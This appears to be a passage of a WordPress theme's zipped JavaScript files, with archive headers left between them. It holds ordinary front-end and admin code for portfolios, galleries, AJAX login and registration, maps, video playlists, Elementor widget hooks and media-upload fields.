                    $button_load.find('.ajax-more-text').html(mesNoMore);
                    $button_load.removeClass('loading-portfolios');

                    $button_load.closest('.wrapper-penci-portfolio').find('.penci-portfolio-filter li.active').addClass('loadmore-finish');

                    setTimeout(function () {
                        $button_load.parent().parent().hide();
                        $button_load.find('.ajax-more-text').html(mes);
                    }, 1200);

                    return false;
                }

                var $wrap_content = $button_load.closest('.wrapper-penci-portfolio').find('.penci-portfolio'),
                    $data = $(response.data.items);

                $wrap_content.find('.inner-portfolio-posts').append($data);
                $wrap_content.isotope('appended', $data).imagesLoaded(function () {
                    $wrap_content.isotope('layout');
                });

                /*$('.penci-lazy').Lazy({
                    effect: 'fadeIn',
                    effectTime: 300,
                    scrollDirection: 'both'
                });*/
                //lazySizes.init();

                $(".container").fitVids();

                $('a[data-rel^="penci-gallery-image-content"]').magnificPopup({
                    type: 'image',
                    closeOnContentClick: true,
                    closeBtnInside: false,
                    fixedContentPos: true,
                    image: {
                        verticalFit: true
                    },
                    gallery: {
                        enabled: true
                    },
                    zoom: {
                        enabled: true,
                        duration: 300
                    }
                });

                $wrap_content.addClass('loaded');

                $('.portfolio-item .inner-item-portfolio').each(function () {
                    var $this = $(this);
                    $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                        $this.addClass('animated');
                    }); // inview
                }); // each

                $button_load.removeClass('loading-portfolios');
            });

            $.ajax({
                type: 'POST',
                dataType: 'html',
                url: ajax_var_more.url,
                data: 'datafilter=' + DataFilter + '&action=penci_pfl_more_post_ajax&nonce=' + ajax_var_more.nonce,
                success: function (data) {

                },
                error: function (jqXHR, textStatus, errorThrown) {
                }

            });

        }
    }

    /* Gallery
     ----------------------------------------------------------------*/
    ELPENCI.gallery = function () {
        var $justified_gallery = $('.penci-post-gallery-container.justified');
        var $masonry_gallery = $('.penci-post-gallery-container.masonry');
        if ($().justifiedGallery && $justified_gallery.length) {
            $('.penci-post-gallery-container.justified').each(function () {
                var $this = $(this);
                $this.justifiedGallery({
                    rowHeight: $this.data('height'),
                    lastRow: 'nojustify',
                    margins: $this.data('margin'),
                    randomize: false
                });
            }); // each .penci-post-gallery-container
        }

        if ($().isotope && $masonry_gallery.length) {

            $('.penci-post-gallery-container.masonry .item-gallery-masonry').each(function () {
                var $this = $(this).children();
                if ($this.attr('data-cap') && !$this.hasClass('added-caption')) {
                    var $title = $this.attr('data-cap');
                    if ($title !== 'undefined') {
                        $this.children().append('<div class="caption">' + $title + '</div>');
                        $this.addClass('added-caption');
                    }

                }
            });
        }

        if ($masonry_gallery.length) {
            $masonry_gallery.each(function () {
                var $this = $(this);
                $this.imagesLoaded(function () {
                    // initialize isotope
                    $this.isotope({
                        itemSelector: '.item-gallery-masonry',
                        transitionDuration: '.55s',
                        layoutMode: 'masonry'
                    });

                    $this.addClass('loaded');

                    $('.penci-post-gallery-container.masonry .item-gallery-masonry').each(function () {
                        var $this = $(this);
                        $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                            $this.children().addClass('animated');
                        }); // inview
                    }); // each
                });
            });
        }
    },

        /* Jarallax
         ----------------------------------------------------------------*/
        ELPENCI.Jarallax = function () {
            if (!$.fn.jarallax || !$('.penci-jarallax').length) {
                return false;
            }
            $('.penci-jarallax').each(function () {
                var $this = $(this),
                    $jarallaxArgs = {};

                $this.imagesLoaded({background: true}, function () {
                    jarallax($this, $jarallaxArgs);
                });

            });
        },

        /* Related Popup
         ----------------------------------------------------------------*/
        ELPENCI.RelatedPopup = function () {
            if ($('.penci-rlt-popup').length) {
                var rltpopup = $('.penci-rlt-popup'),
                    rltclose = $('.penci-rlt-popup .penci-close-rltpopup'),
                    rltlazy = rltpopup.find('.penci-lazy');

                $('body').on('inview', '.penci-flag-rlt-popup', function (event, isInView, visiblePartX, visiblePartY) {
                    if (!rltpopup.hasClass('rltpopup-notshow-again') && isInView) {
                        rltpopup.addClass('rltpopup-show-up');
                        rltclose.on("click", function (e) {
                            e.preventDefault();
                            rltpopup.removeClass('rltpopup-show-up').addClass('rltpopup-notshow-again');
                        });
                        /*rltlazy.Lazy({
                            effect: 'fadeIn',
                            effectTime: 300,
                            scrollDirection: 'both'
                        });*/
                        //lazySizes.init();
                    }
                });
                rltclose.on("click", function (e) {
                    e.preventDefault();
                    rltpopup.removeClass('rltpopup-show-up').addClass('rltpopup-notshow-again');
                });
            }
        },

        /* Share Expand
    ---------------------------------------------------------------*/
        ELPENCI.shareexpand = function () {
            var tag = $('.tags-share-box'),
                tago = tag.offset(),
                tagw = tag.outerWidth(),
                btnw = tag.find('.post-share-expand').outerWidth();

            tag.find('.new-ver-share').each(function (index) {
                var out = tagw + tago.left - btnw * 2,
                    itemw = $(this).outerWidth(),
                    itemo = $(this).offset();

                if (itemo.left + itemw < out) {
                    $(this).addClass('show');
                } else {
                    $(this).addClass('auto-hidden');
                    tag.find('.post-share-expand').addClass('showing');
                }
            });

            $('.post-share-item.post-share-expand').on('click', function (e) {
                e.preventDefault();
                var parent = $(this).closest('.post-share');
                parent.find('.auto-hidden').toggleClass('active');
                parent.toggleClass('showing-hidden');
            });

            tag.css('opacity', '1');
        },

        ELPENCI.extraFunction = {
            init: function () {
                this.counterUp();
                this.progressBar();
                this.login();
                this.register();
            },
            progressBar: function () {
                if ($('.penci-review-process').length) {
                    $('.penci-review-process').each(function () {
                        var $this = $(this),
                            $bar = $this.children(),
                            $bar_w = $bar.data('width') * 10;
                        $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                            $bar.animate({width: $bar_w + '%'}, 1000);
                        }); // bind inview
                    }); // each
                }

                if ($.fn.easyPieChart && $('.penci-piechart').length) {
                    $('.penci-piechart').each(function () {
                        var $this = $(this);
                        $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                            var chart_args = {
                                barColor: $this.data('color'),
                                trackColor: $this.data('trackcolor'),
                                scaleColor: false,
                                lineWidth: $this.data('thickness'),
                                size: $this.data('size'),
                                animate: 1000
                            };
                            $this.easyPieChart(chart_args);
                        }); // bind inview
                    }); // each
                }
            },
            counterUp: function () {
                var $counterup = $('.penci-counterup-number');

                if (!$.fn.counterUp || !$counterup.length) {
                    return false;
                }

                $counterup.each(function () {
                    var $this = $(this);

                    $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                        setTimeout(function () {
                            $({countNum: $this.text()}).animate(
                                {
                                    countNum: $this.attr('data-count')
                                },

                                {
                                    duration: 2000,
                                    easing: 'linear',
                                    step: function () {
                                        $this.text(Math.floor(this.countNum));
                                    },
                                    complete: function () {
                                        $this.text(this.countNum);
                                    }
                                }
                            );
                        }, $this.attr('data-delay'));

                    }); // bind inview
                });
            },
            login: function () {
                var $body = $('body'),
                    $loginform = $('.penci-loginform'),
                    $loginContainer = $loginform.parent('.penci-login-wrap');

                if ($loginform.length) {
                    $body.on('click', '.penci-user-register', function (e) {
                        e.preventDefault();

                        var $this = $(this),
                            $parent = $this.closest('.penci-login-register');

                        $parent.find('.penci-login-wrap').addClass('hidden');
                        $parent.find('.penci-register-wrap').removeClass('hidden');
                    });

                    $('#penci-user-login,#penci-user-pass').on('focus', function () {
                        $(this).removeClass('invalid');
                    });

                    $('.penci-loginform').each(function () {
                        $(this).on('submit', function (e) {
                            var $this = $(this),
                                $loginContainer = $this.parent('.penci-login-wrap'),
                                inputUsername = $this.find('#penci-user-login'),
                                inputPass = $this.find('#penci-user-pass'),
                                valUsername = inputUsername.val(),
                                valPass = inputPass.val(),
                                nonce = $this.find('.penci_form_nonce').val(),
                                gcapcha = $this.find('.g-recaptcha-response');
                            if (gcapcha.length) {
                                var captcha = gcapcha.val();
                            } else {
                                var captcha = 'noexists';
                            }

                            if (inputUsername.length > 0 && valUsername == '') {
                                inputUsername.addClass('invalid');
                                e.preventDefault();
                            }

                            if (inputPass.length > 0 && valPass == '') {
                                inputPass.addClass('invalid');
                                e.preventDefault();
                            }

                            if (valUsername == '' || valPass == '') {
                                return false;
                            }

                            $loginContainer.parent().addClass('ajax-loading');
                            $loginContainer.find('.message').slideDown().remove();

                            var data = {
                                action: 'penci_login_ajax',
                                username: valUsername,
                                password: valPass,
                                captcha: captcha,
                                security: nonce,
                                remember: $loginContainer.find('#rememberme').val()
                            };

                            $.post(ajax_var_more.url, data, function (response) {
                                $loginContainer.parent().removeClass('ajax-loading');
                                $loginContainer.append(response.data);
                                if (!response.success) {
                                    return;
                                }

                                window.location = window.location;
                            });

                            e.preventDefault();
                            return false;
                        });
                    });
                }
            },
            register: function () {
                var $body = $('body'),
                    $registerform = $('#penci-registration-form'),
                    $registerContainer = $registerform.closest('.penci-register-wrap');

                if (!$registerform.length) {
                    return false;
                }

                $body.on('click', '.penci-user-login-here', function (e) {
                    e.preventDefault();

                    var $this = $(this),
                        $parent = $this.closest('.penci-login-register');

                    $parent.find('.penci-login-wrap').removeClass('hidden');
                    $parent.find('.penci-register-wrap').addClass('hidden');

                    return false;
                });

                var $allInput = $('.penci_user_name,.penci_user_email,.penci_user_pass,.penci_user_pass_confirm');
                $allInput.on('focus', function () {
                    $(this).removeClass('invalid');
                });


                $('.penci-registration-form').each(function () {
                    $(this).on('submit', function (e) {
                        e.preventDefault();

                        var $this = $(this),
                            $registerContainer = $this.closest('.penci-register-wrap'),
                            inputUsername = $this.find('.penci_user_name'),
                            inputEmail = $this.find('.penci_user_email'),
                            $inputPass = $this.find('.penci_user_pass'),
                            $inputPassConfirm = $this.find('.penci_user_pass_confirm'),
                            valUsername = inputUsername.val(),
                            valEmail = inputEmail.val(),
                            valPass = $inputPass.val(),
                            valPassConfirm = $inputPassConfirm.val(),
                            nonce = $this.find('.penci_form_nonce').val(),
                            inputPhone = $this.find('.penci_user_phone'),
                            valPhone = inputPhone.val(),
                            gcapcha = $this.find('.g-recaptcha-response');
                        if (gcapcha.length) {
                            var captcha = gcapcha.val();
                        } else {
                            var captcha = 'noexists';
                        }

                        $allInput.removeClass('invalid');

                        if (inputUsername.length > 0 && valUsername == '') {
                            inputUsername.addClass('invalid');
                            event.preventDefault();
                        }

                        if (inputPhone.length > 0 && valPhone == '') {
                            inputPhone.addClass('invalid')
                            event.preventDefault()
                        }

                        if (inputEmail.length > 0 && valEmail == '') {
                            inputEmail.addClass('invalid');
                            event.preventDefault();
                        }

                        if ($inputPass.length > 0 && valPass == '') {
                            $inputPass.addClass('invalid');
                            event.preventDefault();
                        }

                        if ($inputPassConfirm.length > 0 && valPassConfirm == '') {
                            $inputPassConfirm.addClass('invalid');
                            event.preventDefault();
                        }
                        if (valUsername == '' || valEmail == '' || valPass == '' || valPassConfirm == '') {
                            return false;
                        }

                        $registerContainer.find('.message').slideDown().remove();

                        // Password does not match the confirm password
                        if (valPassConfirm !== valPass) {
                            $inputPass.addClass('invalid');
                            $inputPassConfirm.addClass('invalid');
                            $registerContainer.append(ajax_var_more.errorPass);
                            event.preventDefault();

                            return false;
                        }
                        $registerContainer.parent().addClass('ajax-loading');


                        var data = {
                            action: 'penci_register_ajax',
                            fistName: $this.find('.penci_first_name').val(),
                            lastName: $this.find('.penci_last_name').val(),
                            username: valUsername,
                            password: valPass,
                            confirmPass: valPassConfirm,
                            email: valEmail,
                            phone: valPhone,
                            security: nonce,
                            captcha: captcha
                        };

                        $.post(ajax_var_more.url, data, function (response) {
                            $registerContainer.parent().removeClass('ajax-loading');
                            $registerContainer.append(response.data);
                            if (!response.success) {
                                return;
                            }
                            window.location = window.location;
                        });

                        event.preventDefault();
                        return false;
                    });
                });
            },
            map: function () {
                if (!$('.penci-google-map').length) {
                    return false;
                }
                $('.penci-google-map').each(function () {

                    var map = $(this),
                        Option = map.data("map_options"),
                        mapID = map.attr('id');


                    var mapTypePre = google.maps.MapTypeId.ROADMAP;
                    switch (Option.map_type) {
                        case"satellite":
                            mapTypePre = google.maps.MapTypeId.SATELLITE;
                            break;
                        case"hybrid":
                            mapTypePre = google.maps.MapTypeId.HYBRID;
                            break;
                        case"terrain":
                            mapTypePre = google.maps.MapTypeId.TERRAIN
                    }
                    var latLng = new google.maps.LatLng(-34.397, 150.644);
                    var map = new google.maps.Map(document.getElementById(mapID), {
                        zoom: parseInt(Option.map_zoom),
                        center: latLng,
                        mapTypeId: mapTypePre,
                        panControl: Option.map_pan,
                        zoomControl: Option.map_is_zoom,
                        mapTypeControl: true,
                        scaleControl: Option.map_scale,
                        streetViewControl: Option.map_street_view,
                        rotateControl: Option.map_rotate,
                        overviewMapControl: Option.map_overview,
                        scrollwheel: Option.map_scrollwheel
                    });
                    var marker = new google.maps.Marker({
                        position: latLng,
                        map: map,
                        title: Option.marker_title,
                        icon: Option.marker_img
                    });

                    if (Option.info_window) {
                        var infoWindow = new google.maps.InfoWindow({
                            content: Option.info_window
                        });

                        google.maps.event.addListener(marker, "click", function () {
                            infoWindow.open(map, marker);
                        });
                    }

                    if ('coordinates' == Option.map_using && Option.latitude && Option.longtitude) {
                        latLng = new google.maps.LatLng(Option.latitude, Option.longtitude);
                        map.setCenter(latLng);
                        marker.setPosition(latLng);
                    } else {
                        var geocoder = new google.maps.Geocoder();
                        geocoder.geocode({
                            address: Option.address
                        }, function (results) {
                            var loc = results[0].geometry.location;
                            latLng = new google.maps.LatLng(loc.lat(), loc.lng());
                            map.setCenter(latLng);
                            marker.setPosition(latLng);
                        });
                    }
                });
            },
        },

        ELPENCI.VideosList = {
            // Init the module
            init: function () {
                ELPENCI.VideosList.play();
            },
            play: function () {
                if (!$('.penci-video_playlist').length) {
                    return false;
                }
                $('.penci-video_playlist').each(function (idx, item) {
                    var $blockVideo = $(this),
                        $VideoF = $blockVideo.find('.penci-video-frame');

                    var $height = $blockVideo.find('.penci-video-nav').height(),
                        $heightTitle = $blockVideo.find('.penci-video-nav .penci-playlist-title').height()

                    $blockVideo.find('.penci-video-playlist-nav').css('height', $height - $heightTitle);
                    // Init
                    $VideoF.video();
                    ELPENCI.VideosList.updateStatus($blockVideo);

                    // Show First video and remove the loader icon
                    $VideoF.addVideoEvent('ready', function () {
                        $VideoF.css('visibility', 'visible').fadeIn();
                        $blockVideo.find('.loader-overlay').remove();
                    });
                    // Play videos
                    $blockVideo.on('click', '.penci-video-playlist-item', function () {
                        var $thisVideo = $(this),
                            frameID = $thisVideo.data('name'),
                            $thisFrame = $('#' + frameID),
                            videoSrc = $thisVideo.data('src'),
                            videoNum = $thisVideo.find('.penci-video-number').text();

                        if ($thisVideo.hasClass('is-playing')) {
                            $thisFrame.pauseVideo();
                            return;
                        }

                        // Update the number of the playing video in the title section
                        $blockVideo.find('.penci-video-playing').text(videoNum);

                        // Pause all Videos
                        $blockVideo.find('.penci-video-frame').each(function () {
                            $(this).pauseVideo().hide();
                        })

                        // If the iframe not loaded before, add it
                        if (!$thisFrame.length) {
                            // Add the loader icon
                            $blockVideo.find('.fluid-width-video-wrapper').prepend('');

                            $blockVideo.find('.fluid-width-video-wrapper').append('<iframe class="penci-video-frame" id="' + frameID + '" src="' + videoSrc + '" frameborder="0" width="100%"" height="434" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>');
                            $thisFrame = $('#' + frameID);

                            $thisFrame.video(); // reinit

                            $thisFrame.addVideoEvent('ready', function (e, $thisFrame, video_type) {
                                $thisFrame.playVideo();
                                $blockVideo.find('.loader-overlay').remove();
                            });
                        } else {
                            $thisFrame.playVideo();
                        }

                        $thisFrame.css('visibility', 'visible').fadeIn();

                        ELPENCI.VideosList.updateStatus($blockVideo);

                    });
                });
            },
            updateStatus: function ($blockVideo) {
                $blockVideo.find('.penci-video-frame').each(function () {
                    var $this = $(this),
                        $videoItem = $("[data-name='" + $this.attr('id') + "']");

                    $this.addVideoEvent('play', function () {
                        $videoItem.removeClass('is-paused').addClass('is-playing');
                    });

                    $this.addVideoEvent('pause', function () {
                        $videoItem.removeClass('is-playing').addClass('is-paused');
                    });

                    $this.addVideoEvent('finish', function () {
                        $videoItem.removeClass('is-paused is-playing');
                    });
                });
            }
        };


    /* Init functions
     ---------------------------------------------------------------*/
    $(document).ready(function () {
        ELPENCI.general();
        ELPENCI.cookie();
        $('body').trigger('penci_swiper_sliders');
        ELPENCI.fitvids();
        ELPENCI.sticky_sidebar();
        ELPENCI.mega_menu();
        ELPENCI.mobile_menu();
        ELPENCI.toggleMenuHumburger();
        ELPENCI.lightbox();
        ELPENCI.masonry();
        ELPENCI.video_background();
        ELPENCI.portfolio();
        ELPENCI.gallery();
        ELPENCI.Jarallax();
        ELPENCI.RelatedPopup();
        ELPENCI.shareexpand();
        ELPENCI.extraFunction.init();
        ELPENCI.VideosList.init();
        $(window).on('resize', function () {
            ELPENCI.sticky_sidebar();
        });
    });

    // Add space for Elementor Menu Anchor link
    $(window).on('elementor/frontend/init', function () {
        if (window.elementorFrontend) {

            

            elementorFrontend.hooks.addAction('frontend/element_ready/penci-custom-sliders.default', function ($scope) {
                ELPENCI.Jarallax();
            });

            elementorFrontend.hooks.addAction('frontend/element_ready/penci-single-share.default', function ($scope) {
                ELPENCI.shareexpand();
            });

            elementorFrontend.hooks.addAction('frontend/element_ready/penci-portfolio.default', function ($scope) {
                ELPENCI.portfolio();
            });
            
            elementorFrontend.hooks.addAction('frontend/element_ready/penci-image-gallery.default', function ($scope) {
                
                ELPENCI.masonry();
                ELPENCI.gallery();
                $('body').trigger('penci_swiper_sliders');
                var $masonry_gallery = $('.penci-post-gallery-container.masonry');
                if ($().isotope && $masonry_gallery.length) {
                    $masonry_gallery.each(function () {
                        var $this = $(this);
                        $this.imagesLoaded(function () {
                            // initialize isotope
                            $this.isotope({
                                itemSelector: '.item-gallery-masonry',
                                transitionDuration: '.55s',
                                layoutMode: 'masonry'
                            });

                            $this.addClass('loaded');

                            $('.penci-post-gallery-container.masonry .item-gallery-masonry').each(function () {
                                var $this = $(this);
                                $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                                    $this.children().addClass('animated');
                                }); // inview
                            }); // each
                        });
                    });
                }
            });
            
            elementorFrontend.hooks.addAction('frontend/element_ready/penci-big-grid.default', function ($scope) {
                
                ELPENCI.masonry();
                $('body').trigger('penci-block-heading');
            });
            elementorFrontend.hooks.addAction('frontend/element_ready/penci-small-list.default', function ($scope) {
                
                $('body').trigger('penci_swiper_sliders');
                $('body').trigger('penci-block-heading')
                    .trigger('penci-small-list-loaded');
            });
            elementorFrontend.hooks.addAction('frontend/element_ready/penci-product-list.default', function ($scope) {
                
                $('body').trigger('penci_swiper_sliders');
            });
            
            elementorFrontend.hooks.addAction('frontend/element_ready/penci-popular-posts.default', function ($scope) {
                
                $('body').trigger('penci_swiper_sliders');
                ELPENCI.extraFunction.init();
            });

            elementorFrontend.hooks.addAction('frontend/element_ready/penci-featured-cat.default', function ($scope) {
                
                $('body').trigger('penci_swiper_sliders');
                ELPENCI.extraFunction.init();
                $('body').trigger('penci-block-heading');
            });

            elementorFrontend.hooks.addAction('frontend/element_ready/penci-latest-posts.default', function ($scope) {
                
                $('body').trigger('penci_swiper_sliders');
                ELPENCI.masonry();
                ELPENCI.extraFunction.init();
                $('body').trigger('penci-block-heading');
            });

            elementorFrontend.hooks.addAction('frontend/element_ready/penci-recent-posts.default', function ($scope) {
                
                ELPENCI.extraFunction.init();
            });
            elementorFrontend.hooks.addAction('frontend/element_ready/penci-portfolio.default', function ($scope) {
                
                ELPENCI.portfolio();
                ELPENCI.masonry();

                var $penci_portfolio = $('.penci-portfolio');
                if ($().isotope && $penci_portfolio.length) {
                    $('.penci-portfolio').each(function () {
                        var $this = $(this);
                        $this.imagesLoaded(function () {
                            $this.isotope({
                                itemSelector: '.portfolio-item',
                                animationEngine: 'best-available',
                                animationOptions: {
                                    duration: 250,
                                    queue: false
                                }
                            }); // isotope

                            $this.addClass('loaded');

                            $('.portfolio-item .inner-item-portfolio').each(function () {
                                var $this = $(this);
                                $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                                    $this.addClass('animated');
                                }); // inview
                            });
                        });
                    });  // each
                }
            });

            elementorFrontend.hooks.addAction('frontend/element_ready/penci-facebook-page.default', function ($scope) {
                var faceIsLoading = "", faceisLoaded = "";
                faceIsLoading || faceisLoaded || (faceIsLoading = !0, jQuery.ajax({
                    url: "https://connect.facebook.net/" + ajax_var_more.facebookLang + "/sdk.js",
                    dataType: "script",
                    cache: !0,
                    success: function () {
                        FB.init({
                            appId: "",
                            version: "v2.10",
                            xfbml: !1
                        }), faceisLoaded = !0, faceIsLoading = !1, jQuery(document).trigger("fb:sdk:loaded")
                    }
                }));
                var parse = function () {
                    $scope.find(".elementor-widget-container div").attr("data-width", $scope.width() + "px"), FB.XFBML.parse($scope[0])
                };
                faceisLoaded ? parse() : jQuery(document).on("fb:sdk:loaded", parse);
            });

            elementorFrontend.hooks.addAction('frontend/element_ready/penci-featured-sliders.default', function ($scope) {
                $('body').trigger('el_featured_slider');
            });
            elementorFrontend.hooks.addAction('frontend/element_ready/penci-custom-sliders.default', function ($scope) {
                $('body').trigger('penci_swiper_sliders');
            });
            elementorFrontend.hooks.addAction('frontend/element_ready/penci-instagram.default', function ($scope) {
               
                $('body').trigger('penci_swiper_sliders');
            });
            elementorFrontend.hooks.addAction('frontend/element_ready/penci-posts-slider.default', function ($scope) {
                
                $('body').trigger('penci_swiper_sliders');
            });
            
            elementorFrontend.hooks.addAction('frontend/element_ready/penci-custom-carousel.default', function ($scope) {
                
                $('body').trigger('penci_swiper_sliders');
            });

            elementorFrontend.hooks.addAction('frontend/element_ready/penci-counter-up.default', function ($scope) {
                ELPENCI.extraFunction.counterUp();
            });

            elementorFrontend.hooks.addAction('frontend/element_ready/penci-map.default', function ($scope) {
                ELPENCI.extraFunction.map();
            });
            elementorFrontend.hooks.addAction('frontend/element_ready/penci-news-ticker.default', function ($scope) {
                $('body').trigger('penci_swiper_sliders');
            });
            elementorFrontend.hooks.addAction('frontend/element_ready/penci-latest-tweets.default', function ($scope) {
                $('body').trigger('penci_swiper_sliders');
            });
            elementorFrontend.hooks.addAction('frontend/element_ready/penci-testimonials.default', function ($scope) {
                $('body').trigger('penci_swiper_sliders');
            });
            elementorFrontend.hooks.addAction('frontend/element_ready/penci-web-story.default', function ($scope) {
                $('body').trigger('penci_swiper_sliders');
            });
            elementorFrontend.hooks.addAction('frontend/element_ready/penci-single-related-posts.default', function ($scope) {
                $('body').trigger('penci_swiper_sliders');
            });
            elementorFrontend.hooks.addAction('frontend/element_ready/penci-media-carousel.default', function ($scope) {
                ELPENCI.lightbox();
                $('body').trigger('penci_swiper_sliders');
            });

            elementorFrontend.hooks.addAction('frontend/element_ready/penci-progress-bar.default', function ($scope) {
                ELPENCI.extraFunction.progressBar();
            });

            elementorFrontend.hooks.addAction('frontend/element_ready/penci-block-heading.default', function ($scope) {
                $('body').trigger('penci-block-heading');
            });

            elementorFrontend.hooks.addAction('frontend/element_ready/penci-image-gallery.default', function ($scope) {
                $('body').trigger('penci-image-gallery');
            });

            elementorFrontend.hooks.addAction('frontend/element_ready/penci-fullwidth-hero-overlay.default', function ($scope) {
                $('body').trigger('penci_swiper_sliders');
                ELPENCI.extraFunction.init();
            });
        }
    });

})(jQuery);	// EOF
PK     N\S֧      js/admin-gallery.jsnu [        jQuery( function ( $ ) {
	'use strict';

	var PENCIPOSTADMIN = PENCIPOSTADMIN || {};

	PENCIPOSTADMIN.colorPicker = function () {
		$( function() {
			$('.penci-color-picker').wpColorPicker();
		});
	},
	PENCIPOSTADMIN.imageSelect = function () {
		$( 'body' ).on( 'change', '.penci-image-select input', function () {
			var $this = $( this ),
				type = $this.attr( 'type' ),
				selected = $this.is( ':checked' ),
				$parent = $this.parent(),
				$others = $parent.siblings();
			if ( selected ) {
				$parent.addClass( 'penci-active' );
				if ( type === 'radio' ) {
					$others.removeClass( 'penci-active' );
				}
			} else {
				$parent.removeClass( 'penci-active' );
			}
		} );
		$( '.penci-image-select input' ).trigger( 'change' );
	},
	PENCIPOSTADMIN.metaboxTab = function () {
		$( '.penci-metabox-tabs' ).on( 'click', 'a', function ( e ) {
			e.preventDefault();

			var $li = $( this ).parent(),
				panel = $li.data( 'panel' ),
				$wrapper = $li.closest( '.penci-metabox-wrap' ),
				$panel = $wrapper.find( '.penci-tab-panel-' + panel );

			$li.addClass( 'tab-active' ).siblings().removeClass( 'tab-active' );
			$panel.show().siblings().hide();
		} );
	},
	PENCIPOSTADMIN.metaboxAccordion = function () {
		var acc = document.getElementsByClassName("penci-accordion-name");
		var i;

		for (i = 0; i < acc.length; i++) {
			acc[i].addEventListener("click", function() {
				this.classList.toggle("active");
				var panel = this.nextElementSibling;
				if (panel.style.minHeight){
					panel.style.minHeight = null;
				} else {
					panel.style.minHeight = panel.scrollHeight + "px";
				}

				return false;
			});
		}
		return false;
	},
	PENCIPOSTADMIN.uploadImg = function () {
			var frame = wp.media( {
				title: PenciObject.WidgetImageTitle,
				multiple: false,
				library: { type: 'image' },
				button: { text: PenciObject.WidgetImageButton }
			} );

			$( 'body' ).on( 'click', '.penci-widget-image__select', function ( e ) {

					e.preventDefault();
					var $this = $( this ),
						$input = $this.siblings( 'input' ),
						$image = $this.siblings( 'img' ),
						$placeholder = $this.prev(),
						$savewidget = $this.closest( '.widget-inside' ).find( '.widget-control-save' );

					frame.off( 'select' )
					     .on( 'select', function () {
						     var id = frame.state().get( 'selection' ).toJSON()[0].id;
						     var url = frame.state().get( 'selection' ).toJSON()[0].url;
						     $input.val( id );
						     $input.data( 'url', url );
						     $image.attr( 'src', url ).removeClass( 'hidden' );
						     $placeholder.addClass( 'hidden' );
						     $savewidget.prop( "disabled", false );
					     } )
					     .open();
				} )
				.on( 'click', '.penci-widget-image__remove', function ( e ) {
					e.preventDefault();
					var $this = $( this ),
						$input = $this.siblings( 'input' ),
						$image = $this.siblings( 'img' ),
						$placeholder = $this.prev().prev(),
						$savewidget = $this.closest( '.widget-inside' ).find( '.widget-control-save' );

					$input.val( '' );
					$image.addClass( 'hidden' );
					$placeholder.removeClass( 'hidden' );
					$savewidget.prop( "disabled", false );
				} )
				.on( 'change', '.penci-widget-image__input', function ( e ) {
					e.preventDefault();
					var $this = $( this ),
						url = $this.data( url ),
						$image = $this.siblings( 'img' );
					$image.attr( 'src', url )[url ? 'removeClass' : 'addClass']( 'hidden' );


				} );


		};

	/* Init functions
	 ---------------------------------------------------------------*/
	$( document ).ready( function () {
		PENCIPOSTADMIN.colorPicker();
		PENCIPOSTADMIN.uploadImg();
		PENCIPOSTADMIN.imageSelect();
		PENCIPOSTADMIN.metaboxTab();
		PENCIPOSTADMIN.metaboxAccordion();
	});
} );

PK     N\MuD      js/field_upload.jsnu [        /*global jQuery, document, penci_upload, formfield:true, preview:true, tb_show, window, imgurl:true, tb_remove, $relid:true*/
/*
This is the uploader for wordpress starting from version 3.5
*/
jQuery(document).ready(function(){

            jQuery(".penci-opts-upload").on( 'click', function( event ) {
                var activeFileUploadContext = jQuery(this).parent();
                var relid = jQuery(this).attr('rel-id');
				var $that = jQuery(this);
				var elementID = jQuery(this).attr('id');
				
                event.preventDefault();

                // If the media frame already exists, reopen it.
                /*if ( typeof(custom_file_frame)!=="undefined" ) {
                    custom_file_frame.open();
                    return;
                }*/

                // if its not null, its broking custom_file_frame's onselect "activeFileUploadContext"
                custom_file_frame = null;

                // Create the media frame.
                custom_file_frame = wp.media.frames.customHeader = wp.media({
                    // Set the title of the modal.
                    title: jQuery(this).data("choose"),

                    // Tell the modal to show only images. Ignore if want ALL
                    library: {
                        type: 'image'
                    },
                    // Customize the submit button.
                    button: {
                        // Set the text of the button.
                        text: jQuery(this).data("update")
                    }
                });

                custom_file_frame.on( "select", function() {
                    // Grab the selected attachment.
                    var attachment = custom_file_frame.state().get("selection").first();

                    // Update value of the targetfield input with the attachment url.
                    jQuery('.penci-opts-screenshot',activeFileUploadContext).attr('src', attachment.attributes.url);
                    jQuery('#' + relid ).val(attachment.attributes.url).trigger('change');

                    jQuery('.penci-opts-upload',activeFileUploadContext).hide();
                    jQuery('.penci-opts-screenshot',activeFileUploadContext).show();
                    jQuery('.penci-opts-upload-remove',activeFileUploadContext).show();
                    
                    toggleParallaxOption();
                   
            });

            custom_file_frame.open();
        });

    jQuery(".penci-opts-upload-remove").on( 'click', function( event ) {
        var activeFileUploadContext = jQuery(this).parent();
        var relid = jQuery(this).attr('rel-id');

        event.preventDefault();

        jQuery('#' + relid).val('');
        jQuery(this).prev().fadeIn('slow');
        jQuery('.penci-opts-screenshot',activeFileUploadContext).fadeOut('slow');
        jQuery(this).fadeOut('slow');
        
        toggleParallaxOption();
    });

	//media upload
	jQuery(".penci-opts-media-upload").on( 'click', function( event ) {
                var activeFileUploadContext = jQuery(this).parent();
                var relid = jQuery(this).attr('rel-id');

                event.preventDefault();

                // If the media frame already exists, reopen it.
                /*if ( typeof(custom_file_frame)!=="undefined" ) {
                    custom_file_frame.open();
                    return;
                }*/

                // if its not null, its broking custom_file_frame's onselect "activeFileUploadContext"
                custom_file_frame = null;

                // Create the media frame.
                custom_file_frame = wp.media.frames.customHeader = wp.media({
                    // Set the title of the modal.
                    title: jQuery(this).data("choose"),

                    // Tell the modal to show only images. Ignore if want ALL
                    library: {
                        type: 'video'
                    },
                    // Customize the submit button.
                    button: {
                        // Set the text of the button.
                        text: jQuery(this).data("update")
                    }
                });

                custom_file_frame.on( "select", function() {
                    // Grab the selected attachment.
                    var attachment = custom_file_frame.state().get("selection").first();

                    // Update value of the targetfield input with the attachment url.
                    jQuery('#' + relid ).val(attachment.attributes.url).trigger('change');
                    

				    jQuery('#_nectar_video_embed').trigger('keyup');
				    
                    jQuery('.penci-opts-media-upload',activeFileUploadContext).hide();
                    jQuery('.penci-opts-upload-media-remove',activeFileUploadContext).show();
            });

            custom_file_frame.open();
        });

    jQuery(".penci-opts-upload-media-remove").on( 'click', function( event ) {
